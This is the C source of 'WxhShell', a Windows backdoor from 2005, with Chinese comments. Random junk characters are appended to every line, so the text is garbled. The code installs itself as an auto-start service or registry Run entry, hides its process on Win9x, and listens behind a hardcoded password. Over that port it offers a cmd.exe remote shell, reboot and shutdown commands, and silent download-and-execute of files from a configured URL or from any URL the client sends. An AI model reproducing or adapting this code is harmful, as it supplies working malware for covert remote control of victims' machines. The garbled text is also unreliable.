    ExitThread(0); $STaQ28C  
    } >-H {Z{VDd  
    break; I 'V4D[H5  
    } .Fdgb4>BXX  
  // 关机 sBr_a5QQ#  
  case 'd': { b )B? F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^J$2?!~  
    if(Boot(SHUTDOWN)) N<~t3/Nm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `DV.+>O-1  
    else { dBz/7&Q   
    closesocket(wsh); 9WyAb3d'  
    ExitThread(0); .Y&)4+ckL  
    } nih0t^m'  
    break; 9I}-[|`u  
    } KET2Ws[w  
  // 获取shell |S_eDjF  
  case 's': { x[a<mk  
    CmdShell(wsh); G"h'_7  
    closesocket(wsh); wne,e's}   
    ExitThread(0); gt@m?w(  
    break; wOU_*uY@6'  
  } 0yD9SJn  
  // 退出 KrQ1GepJ  
  case 'x': { >CHrg]9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y*qVc E  
    CloseIt(wsh); 4 o Fel.o  
    break; aDU<wxnSvO  
    } Z&1\{PG3*  
  // 离开 1*\o.  
  case 'q': { 16 =sij%A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,Q  
    closesocket(wsh); I>W=x'PkLn  
    WSACleanup(); JRB9rSN^  
    exit(1); `sn^ysp  
    break; ;ub;l h3  
        } F1*>y  
  } nT7%j{e=L  
  } b3=rG(0f  
Te"ioU?.  
  // 提示信息 h9}+l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kp%2k^U  
} Cd#(X@n  
  } 0X6YdW_2X  
~vm%6CABM  
  return; akp-zn&je  
} q'T4w!V(V  
d,k!qjf=r  
// shell模块句柄 &."iFe  
int CmdShell(SOCKET sock) .*OdqLz  
{ M?1Y,5  
STARTUPINFO si; 3l rT3a3vV  
ZeroMemory(&si,sizeof(si)); <cps2*'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (KjoSN( K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; slCx w$  
PROCESS_INFORMATION ProcessInfo; "H'B*vc-  
char cmdline[]="cmd"; s}vAS~~2L3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !|S(Ms  
  return 0; P) Jgs  
} - YEZ]:"  
G/)O@Ugp  
// 自身启动模式 )}Hpi<5N  
int StartFromService(void) i1}:8Unxf  
{ 3Z>Ux3[  
typedef struct T6\[iJI|  
{ Dj"F\j 1  
  DWORD ExitStatus; l!D}3jD  
  DWORD PebBaseAddress; d[iQ` YW5  
  DWORD AffinityMask; %z=le7  
  DWORD BasePriority; q }3`|'3  
  ULONG UniqueProcessId; k =>oO9`  
  ULONG InheritedFromUniqueProcessId; (~p< P+  
}   PROCESS_BASIC_INFORMATION; =Qy<GeY  
j*|VctM  
PROCNTQSIP NtQueryInformationProcess; '{cIAw/"n  
sA+ }TNhq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2=*H 8'k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LQ@"Xe]5  
hZ|z|!g0  
  HANDLE             hProcess; U7?;UCmX  
  PROCESS_BASIC_INFORMATION pbi; A7%)~z<  
6_(&6]}66  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /p/]t,-j2  
  if(NULL == hInst ) return 0; mVj9, q0  
3/P1!:g9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =}~hWL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D(~U6SR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y\/1/WjBn  
?e%ZOI  
  if (!NtQueryInformationProcess) return 0;  0HZ{Y9]  
 CT&|QH{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M`0V~P`^  
  if(!hProcess) return 0; l5~os>  
u2tfF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?w$kue  
2IK}vDsis  
  CloseHandle(hProcess); @="Pn5<]C  
9[#pIPxNK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W<'m:dq  
if(hProcess==NULL) return 0; [|v][Hwv  
Xu{1".\  
HMODULE hMod; n3WlZ!$  
char procName[255]; Lw1Yvtn  
unsigned long cbNeeded; HVRZ[Y<^  
[DuttFX^x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  -uS!\  
&0d# Y]D4`  
  CloseHandle(hProcess); \$K20)  
a,,exi  
if(strstr(procName,"services")) return 1; // 以服务启动 @@f"%2ZR[  
GblA9F7  
  return 0; // 注册表启动 ,KH#NY]  
} KS+'|q<?w  
Cp\6W[2+B  
// 主模块 y RqL9t  
int StartWxhshell(LPSTR lpCmdLine) XPc^Tq  
{ (g]!J_Z"  
  SOCKET wsl; }{Pp]*I<A  
BOOL val=TRUE; 4Z3su^XR  
  int port=0; }CSDV9).S  
  struct sockaddr_in door; 2DA]i5  
`bq<$e  
  if(wscfg.ws_autoins) Install(); hPB9@ hT$  
+Ze} B*0  
port=atoi(lpCmdLine); ic:zsuEm  
2k~l$p>CN!  
if(port<=0) port=wscfg.ws_port; E_rI?t^  
}rUN_.n4z  
  WSADATA data; x8 2cT21b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; , >a&"V^k  
i}f"yO+Q+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P\tB~SZ*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u[;\y|75  
  door.sin_family = AF_INET; M)Z7k/=<P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bW427B0  
  door.sin_port = htons(port); n` _{9R  
s[>,X#7 y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v4TQX<0s  
closesocket(wsl); ma]F7dZ5  
return 1; K!%+0)A  
} o'aEY<mZ7  
2QcOR4_V  
  if(listen(wsl,2) == INVALID_SOCKET) { !qQl@j O  
closesocket(wsl); %A/0 '  
return 1; z|J_b"u4  
} h+H%?:FX  
  Wxhshell(wsl); X,% 0/6*]  
  WSACleanup(); e)k9dOR  
HyQJXw?A:  
return 0; oCv.Ln1;Z  
qBQ?HLK-  
} net@j#}j-  
ub0.J#j@  
// 以NT服务方式启动 Vm(y7}Aq{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H2 {+)  
{ Et_bH%0  
DWORD   status = 0; &BLJT9Frx  
  DWORD   specificError = 0xfffffff; 2,oKVm+  
7F7 {)L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?!:ha;n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (,\+tr8r8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UgSB>V<?  
  serviceStatus.dwWin32ExitCode     = 0; H2\;%K 2  
  serviceStatus.dwServiceSpecificExitCode = 0; xt* 3'v  
  serviceStatus.dwCheckPoint       = 0; ^/>(6>S^M  
  serviceStatus.dwWaitHint       = 0; 49c:V,  
ah&D%8E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >8^ $ [}w  
  if (hServiceStatusHandle==0) return; t|\%VC  
ek\ xx  
status = GetLastError(); u%KTNa0  
  if (status!=NO_ERROR) ~H_/zK6e  
{ #Y`~(K47  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3S@7]Pg  
    serviceStatus.dwCheckPoint       = 0; ~ 'cmSiz-  
    serviceStatus.dwWaitHint       = 0; \ZFGw&yN  
    serviceStatus.dwWin32ExitCode     = status; Qj.#)R  
    serviceStatus.dwServiceSpecificExitCode = specificError; t#})Awy^R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qJs<#MQ2  
    return; GW@;}m(  
  } zT.7  
4r#= *  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8 +/rlHp  
  serviceStatus.dwCheckPoint       = 0; mHTXni<!  
  serviceStatus.dwWaitHint       = 0; -UEZ#Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z+wA rPxc  
} = `F(B  
PI)+Jr%L  
// 处理NT服务事件,比如:启动、停止 K`WywH3-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) . B9iLI  
{ qp }Cqi  
switch(fdwControl) @Zu5VpJ  
{ 3?9IJ5p  
case SERVICE_CONTROL_STOP: py!|\00}  
  serviceStatus.dwWin32ExitCode = 0; ~d4 )/y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QB uMJm  
  serviceStatus.dwCheckPoint   = 0; Su7?;Oh/yI  
  serviceStatus.dwWaitHint     = 0; m|n%$$S&  
  { i2Qz4 $z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H3 ^},.  
  } 4<Utmr  
  return; kk@fL  
case SERVICE_CONTROL_PAUSE: L:j<c5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k8[n+^  
  break; &\WSQmtto  
case SERVICE_CONTROL_CONTINUE: HGs $*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;kQhx6Z  
  break; 3>AMII  
case SERVICE_CONTROL_INTERROGATE: _Xc8Yg }`  
  break; ]"hFC<w  
}; Vpz\.]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gnOt+W8  
} { ]{/t-=  
Eu d*_>|  
// 标准应用程序主函数 -`kW&I0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uM IIYS  
{ *20jz<  
%K lrSo  
// 获取操作系统版本 N=5a54!/  
OsIsNt=GetOsVer(); t;}|tgC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4K#>f4(U`g  
xw,IJ/E$1  
  // 从命令行安装 DFB@O|JL  
  if(strpbrk(lpCmdLine,"iI")) Install(); (ylTp]~mR-  
:Uzm  
  // 下载执行文件 (l~AV9!m:  
if(wscfg.ws_downexe) { 2^[ `eg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XH4  
  WinExec(wscfg.ws_filenam,SW_HIDE); { M4gF8(M  
} )Xz,j9GzJS  
eCU:Q  
if(!OsIsNt) { .Ni\\  
// 如果时win9x,隐藏进程并且设置为注册表启动 np"\19^  
HideProc(); s^G.]%iU  
StartWxhshell(lpCmdLine); 3</_c1~  
} VK\X&Y3l  
else HSE!x_$  
  if(StartFromService()) '6iEMg&3  
  // 以服务方式启动 dC3o9  
  StartServiceCtrlDispatcher(DispatchTable); ,GbR!j@6  
else B[Ku\A6&  
  // 普通方式启动 ;40/yl3r3[  
  StartWxhshell(lpCmdLine); %A9NB!  
~zJbK. _  
return 0; c \J:![x  
} 8`B3;Zmm  
.LnGL]/  
K*vt;L  
 L2[($l  
=========================================== Y|F9}hj(  
T"}5}6rSG  
njB;&N)I  
z [}v{  
~]|6T~+]83  
6RU~"C  
" av8B-GQI*#  
iJ)_RSFK  
#include <stdio.h> lV3x*4O=  
#include <string.h> $t'MSlF  
#include <windows.h> lwxaMjaL4K  
#include <winsock2.h> '5#^i:  
#include <winsvc.h> 7dTkp!'X-  
#include <urlmon.h> XB;7!8|  
!3c\NbU  
#pragma comment (lib, "Ws2_32.lib")  L^/5ux  
#pragma comment (lib, "urlmon.lib") u OmtyX  
*k7+/bU~~  
#define MAX_USER   100 // 最大客户端连接数 Fj8z  
#define BUF_SOCK   200 // sock buffer TPQ%L@^ L+  
#define KEY_BUFF   255 // 输入 buffer q5J5>  
.ljnDL/  
#define REBOOT     0   // 重启 ;IvY^(YS@;  
#define SHUTDOWN   1   // 关机 DD+7V@  
> ym,{EHK  
#define DEF_PORT   5000 // 监听端口 dK$XNi13.5  
q<x/Hat)  
#define REG_LEN     16   // 注册表键长度 /e5O"@  
#define SVC_LEN     80   // NT服务名长度 60^`JVGWH  
;RZ )  
// 从dll定义API 4B8 oO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U#7#aeI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y;m|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5zK4Fraf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D=A&+6B@-  
k$^UUo6  
// wxhshell配置信息 W]$w@.oW[  
struct WSCFG { *?@?f&E/  
  int ws_port;         // 监听端口 `f,/`''R  
  char ws_passstr[REG_LEN]; // 口令 (U D nsF  
  int ws_autoins;       // 安装标记, 1=yes 0=no T= 80,  
  char ws_regname[REG_LEN]; // 注册表键名 @o].He@L<j  
  char ws_svcname[REG_LEN]; // 服务名 \Gef \   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "@^k)d$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h ]5(].  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (fH#I tf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^)/0yB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j.[.1G*("  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }`@vF|2L  
^`i#$  
}; etQCzYIhn  
h:))@@7MJ  
// default Wxhshell configuration ~Py`P'+  
struct WSCFG wscfg={DEF_PORT, (' (K9@}  
    "xuhuanlingzhe", RT4x\&q  
    1, O0x,lq  
    "Wxhshell", J/`<!$<c  
    "Wxhshell", J'6PmPzY|  
            "WxhShell Service", #Qw0&kM7I  
    "Wrsky Windows CmdShell Service", OU\~::  
    "Please Input Your Password: ", )N{Pw$l_  
  1, %@J.{@>  
  "http://www.wrsky.com/wxhshell.exe", a@K%06A;'  
  "Wxhshell.exe" P7bMIe  
    }; d UE,U=  
3Y4?CM&0v  
// 消息定义模块 PA{PD.4Du  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0@0w+&*"@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h%na>G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; biD$qg  
char *msg_ws_ext="\n\rExit."; )2KF}{  
char *msg_ws_end="\n\rQuit."; ];$L &5^  
char *msg_ws_boot="\n\rReboot..."; |)th1 UH  
char *msg_ws_poff="\n\rShutdown..."; _#E0g'3  
char *msg_ws_down="\n\rSave to "; .&iawz  
bTNgjc  
char *msg_ws_err="\n\rErr!"; %bn jgy  
char *msg_ws_ok="\n\rOK!"; HXC ;Np  
Xh"n]TK  
char ExeFile[MAX_PATH]; 9 RgVK{F  
int nUser = 0; VR8-&N  
HANDLE handles[MAX_USER]; &ee~p&S,>  
int OsIsNt; !x=~g"d<&  
r EE1sy/#  
SERVICE_STATUS       serviceStatus; ;\dBfP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j?\Qh  
Q~]uC2Mw  
// 函数声明 K hR81\  
int Install(void); .k%72ez  
int Uninstall(void); i v38p%Zm  
int DownloadFile(char *sURL, SOCKET wsh); E?f-wQF  
int Boot(int flag); /)>3Nq4Zx  
void HideProc(void); q-2Bt,Y  
int GetOsVer(void); Yx%Hs5}8  
int Wxhshell(SOCKET wsl); B)g[3gQ  
void TalkWithClient(void *cs); z (wc0I  
int CmdShell(SOCKET sock); 1W LXM^ 4  
int StartFromService(void); 7hcYD!DS  
int StartWxhshell(LPSTR lpCmdLine); 2 c{34:  
20h, ^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e{K 215  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1N-\j0au  
]y '>=a|T  
// 数据结构和表定义 &i6mW8l  
SERVICE_TABLE_ENTRY DispatchTable[] = 6,"Q=9k4[  
{ n5NsmVW\x  
{wscfg.ws_svcname, NTServiceMain}, sf87$S0  
{NULL, NULL} ;bib/  
}; dn+KH+v  
hx%v+/  
// 自我安装 osAd1<EIC  
int Install(void) b=NxUd O  
{ WPMSm<[  
  char svExeFile[MAX_PATH]; 9}<ile7^  
  HKEY key; xF'EiX~  
  strcpy(svExeFile,ExeFile); ?M9=yA  
W+?4jwqw  
// 如果是win9x系统,修改注册表设为自启动 #rfiD%c  
if(!OsIsNt) { ucW-I;"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _op}1   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X51:  
  RegCloseKey(key); ~KX/ Ai  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yk Ki|k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !ons]^km  
  RegCloseKey(key); XJ| <?   
  return 0; )lqAD+9Q  
    } 37.S\ gO]  
  } "_NN3lD)X  
} 04P}-L,  
else { @,my7?::oM  
#gs`#6 ,'  
// 如果是NT以上系统,安装为系统服务 YZ8>OwQz2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KBc1{adDx@  
if (schSCManager!=0) aSQ#k;T[  
{ L\"d  
  SC_HANDLE schService = CreateService L^?qOylu  
  ( 8dIgjQX|  
  schSCManager, _8UU'1d  
  wscfg.ws_svcname, MH\dC9%p  
  wscfg.ws_svcdisp, "JV_2K_i  
  SERVICE_ALL_ACCESS, []1C$.5DD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `l[c_%Bm  
  SERVICE_AUTO_START, s*]}QmRpr  
  SERVICE_ERROR_NORMAL, ;'@9[N9  
  svExeFile, !?h;wR  
  NULL, Fk7')?  
  NULL, d^ 8ZeC#  
  NULL, P}^W)@+3k  
  NULL, x g  
  NULL xY(*.T9K  
  ); zHRplm+ i  
  if (schService!=0) =-n}[Y}A  
  { JjTegQN  
  CloseServiceHandle(schService); 0 /U{p,r6`  
  CloseServiceHandle(schSCManager); ;[OH(!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BW*rIn<?G  
  strcat(svExeFile,wscfg.ws_svcname); Iit; F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {_p_%;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hhc,uJ">!  
  RegCloseKey(key); +',S]Edx  
  return 0; ]Q)OL  
    } je=a/Y=%U{  
  } )1`0PJoHE  
  CloseServiceHandle(schSCManager); y _k l:Ssa  
} `Eo.v#<  
} 6mxfLlZ  
]jp6k<KF  
return 1; sS'm!7*(3  
} 56kI 5:  
Ean5b>\  
// 自我卸载 d|Lj~x|  
int Uninstall(void) sWnLEw  
{ z5*'{t)  
  HKEY key; @Z:l62l=bE  
6q.Uhe_B  
if(!OsIsNt) { _g"<UV*H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P8/0H(,  
  RegDeleteValue(key,wscfg.ws_regname); &Hs!:43E-<  
  RegCloseKey(key); {8bSB.?R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -;WGS o  
  RegDeleteValue(key,wscfg.ws_regname); )R1<N  
  RegCloseKey(key); 07{)?1cod4  
  return 0; 5vnrA'BhBU  
  } 0*{%=M  
} A;?|& `f  
} D_zZXbNc  
else { lA8`l>I  
V+9 MoT?8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z9Rp`z&`E  
if (schSCManager!=0) /R wjCUf  
{ mrtb*7`$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V1B5w_^>h'  
  if (schService!=0) :& ."ttf=  
  { ds[|   
  if(DeleteService(schService)!=0) { FXkM#}RgNm  
  CloseServiceHandle(schService); nUOz\ y  
  CloseServiceHandle(schSCManager); /aZ`[m2  
  return 0; |Ds1  
  } ^.QzQ1=D  
  CloseServiceHandle(schService); ge8ZsaiU  
  } Qh\60f>0  
  CloseServiceHandle(schSCManager); V)N%WX G  
} Z4 =GMXj  
} &&>ekG 9@  
49HZ2`Y  
return 1; "S?z@ i(K^  
} '?(% Zxw%&  
</*6wpN  
// 从指定url下载文件 I9ep`X6Y  
int DownloadFile(char *sURL, SOCKET wsh) &0JI!bR(  
{ k~nBiV  
  HRESULT hr; [MY|T<q  
char seps[]= "/"; %._.~V  
char *token; Z/+#pWBI!  
char *file; c\AfaK^KF  
char myURL[MAX_PATH]; '/s)%bc  
char myFILE[MAX_PATH]; |@4' <4t  
wz%Nb Ly-  
strcpy(myURL,sURL); ^k9I(f^c-_  
  token=strtok(myURL,seps); Uz]|N6`  
  while(token!=NULL) #KZBsa@p  
  { 11;MN  
    file=token; s?nR 4  
  token=strtok(NULL,seps); ~b8]H|<'Y  
  } * 0=j?~&  
/9fR'EO{x  
GetCurrentDirectory(MAX_PATH,myFILE); (SAs-  
strcat(myFILE, "\\"); b OY |H~  
strcat(myFILE, file); h@ry y\9  
  send(wsh,myFILE,strlen(myFILE),0); R4:b{)=O  
send(wsh,"...",3,0); CzrC%xy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (n_/`dP  
  if(hr==S_OK) 92oFlEJ  
return 0; kE1TP]|  
else 5:_}zu|!u  
return 1; NK H@+,+V  
X!EP$!  
} fe_5LC"  
;;/{xvQ.1  
// 系统电源模块 tc_3sC7jN  
int Boot(int flag) nAlQ7 '  
{ %d9uTm;  
  HANDLE hToken; a9Zq{Ysj  
  TOKEN_PRIVILEGES tkp; {E|$8)58i  
SOA,kwHRe  
  if(OsIsNt) { +ami?#Sz*;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~((O8@}J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KF:78C  
    tkp.PrivilegeCount = 1; l+0oS'`V*L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )zDCu`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j^RmrOg ,  
if(flag==REBOOT) { [j+sC*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (KZ{^X?a  
  return 0; (X*^dO  
} kb!%-k  
else { gL/9/b4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j8:\%|  
  return 0; +X 88;-  
} <t!W5q  
  } b^vQpiz  
  else { tw)mepwB  
if(flag==REBOOT) { ^E>3|du]O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q\sK"~@3  
  return 0; 7D_=  
} +G>\-tjSD  
else {  uHRsFlw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !&@615Vtw  
  return 0; 4 s9LB  
} -"9  
} ;*2Cm'8E  
}4X0epPp;:  
return 1; ]7c=PC  
} R`-S/C  
MVUJD{X#  
// win9x进程隐藏模块 !C.4<?*|  
void HideProc(void) 1s;S aq+  
{ _ jlRlt  
P@~yx#G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7tCw*t$  
  if ( hKernel != NULL ) goWuw}?  
  { 2y1Sne=<Kb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HTTC TR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); % |L=l{g  
    FreeLibrary(hKernel); AFt s(  
  } %E;'ln4h&,  
Qn2&nD%zi  
return; buHJB*?9  
} \a3+rN dj  
j.= 1rwPt  
// 获取操作系统版本 <9b &<K:  
int GetOsVer(void) es0hm2HT3  
{ sV*H`N')S  
  OSVERSIONINFO winfo; wVtwx0|1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )0k53-h&  
  GetVersionEx(&winfo); }c:M^Ff  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G=bCNn<  
  return 1; [()koU#w.  
  else 5 SQ 8}Or3  
  return 0; [mueZQyI?0  
} 'dc#F3  
|;{6& S  
// 客户端句柄模块 7 _[L o4_  
int Wxhshell(SOCKET wsl) -$Ih@2"6  
{ tfWS)y7  
  SOCKET wsh; %\:Wi#w>  
  struct sockaddr_in client; dqcL]e  
  DWORD myID; ML p9y#  
%!#azI  
  while(nUser<MAX_USER) ]hV*r@d  
{ &BSn?  
  int nSize=sizeof(client); :b!s2n!u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X"*5+* z]  
  if(wsh==INVALID_SOCKET) return 1; AbOf6%Env  
RPbZ(.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +aAc9'k   
if(handles[nUser]==0) I5W~g.<6  
  closesocket(wsh); ;5AcFB  
else xD=csJ'(  
  nUser++; ?Z}&EH  
  } EKN~H$.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j5h-dK  
uHNCSz H(  
  return 0; NwfVL4Xg  
} tO&^>&;5  
N6TH}~62}  
// 关闭 socket 86H+h (R/  
void CloseIt(SOCKET wsh) 2B`JGFcdcB  
{ #lO Mm9  
closesocket(wsh); f%8C!W]Dm  
nUser--; y|jq?M<A  
ExitThread(0); 3$ PV2"  
} TkF[x%o  
bW:!5"_{H  
// 客户端请求句柄 )LCHy^'  
void TalkWithClient(void *cs) MWh6]gGs  
{ W} ofAkF  
-tU'yKhn  
  SOCKET wsh=(SOCKET)cs; ?&uu[y  
  char pwd[SVC_LEN]; =i3n42M#  
  char cmd[KEY_BUFF]; !ubD/KE  
char chr[1]; dQG=G%W  
int i,j; 2 ? 4!K.  
\}G^\p6?M  
  while (nUser < MAX_USER) { .A|@?p[  
>.D4co>  
if(wscfg.ws_passstr) { u]G\H!Wk Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3iU=c&P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qv ?"b  
  //ZeroMemory(pwd,KEY_BUFF); #s9aI_  
      i=0; ^kSqsT"  
  while(i<SVC_LEN) { 0IWf!Sk ]  
BL4-7  
  // 设置超时 4{Z)8;QX  
  fd_set FdRead; h>bx}$q  
  struct timeval TimeOut; O.JN ENZf  
  FD_ZERO(&FdRead); %SUQ9\SEs  
  FD_SET(wsh,&FdRead); VG~Vs@c(  
  TimeOut.tv_sec=8; . 'yCw#f  
  TimeOut.tv_usec=0; IUct  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :2)/FPL6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o<!?7g{  
|+"(L#wk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t3^&; &[  
  pwd=chr[0]; U`s{Jm  
  if(chr[0]==0xd || chr[0]==0xa) { 3=;<$+I6  
  pwd=0; R/a*LSe@&  
  break; (4-CF3D  
  } CTA 3*Gn  
  i++; ( uidNq  
    } h FBe,'3M  
] }X  
  // 如果是非法用户,关闭 socket #)VF3T@#'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a-J.B.A$Z/  
} Yz93'HDB  
-D~%|).'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |vzl. ^"-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K~ EmD9  
lk80#( :Z  
while(1) { e@YK@?^#N  
r,2g^ K)6  
  ZeroMemory(cmd,KEY_BUFF); rQ snhv  
'}#9)}x!  
      // 自动支持客户端 telnet标准   Ef{Vp;]  
  j=0; UR5`ue ;  
  while(j<KEY_BUFF) { ;xn0;V'=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J4U1t2@)9  
  cmd[j]=chr[0]; 2I{"XB  
  if(chr[0]==0xa || chr[0]==0xd) { ;]:@n;c\  
  cmd[j]=0; caX< n>  
  break; _u9Jxw?F@Y  
  } }l9llu   
  j++; T&7qC=E#5  
    } zp?`N;  
IO:G1;[/2L  
  // 下载文件 w@fi{H(R  
  if(strstr(cmd,"http://")) { %e} Saf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bi;1s'Y<D  
  if(DownloadFile(cmd,wsh)) g< .qUBPKX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rbv;?'O$L  
  else  "-V"=t'  
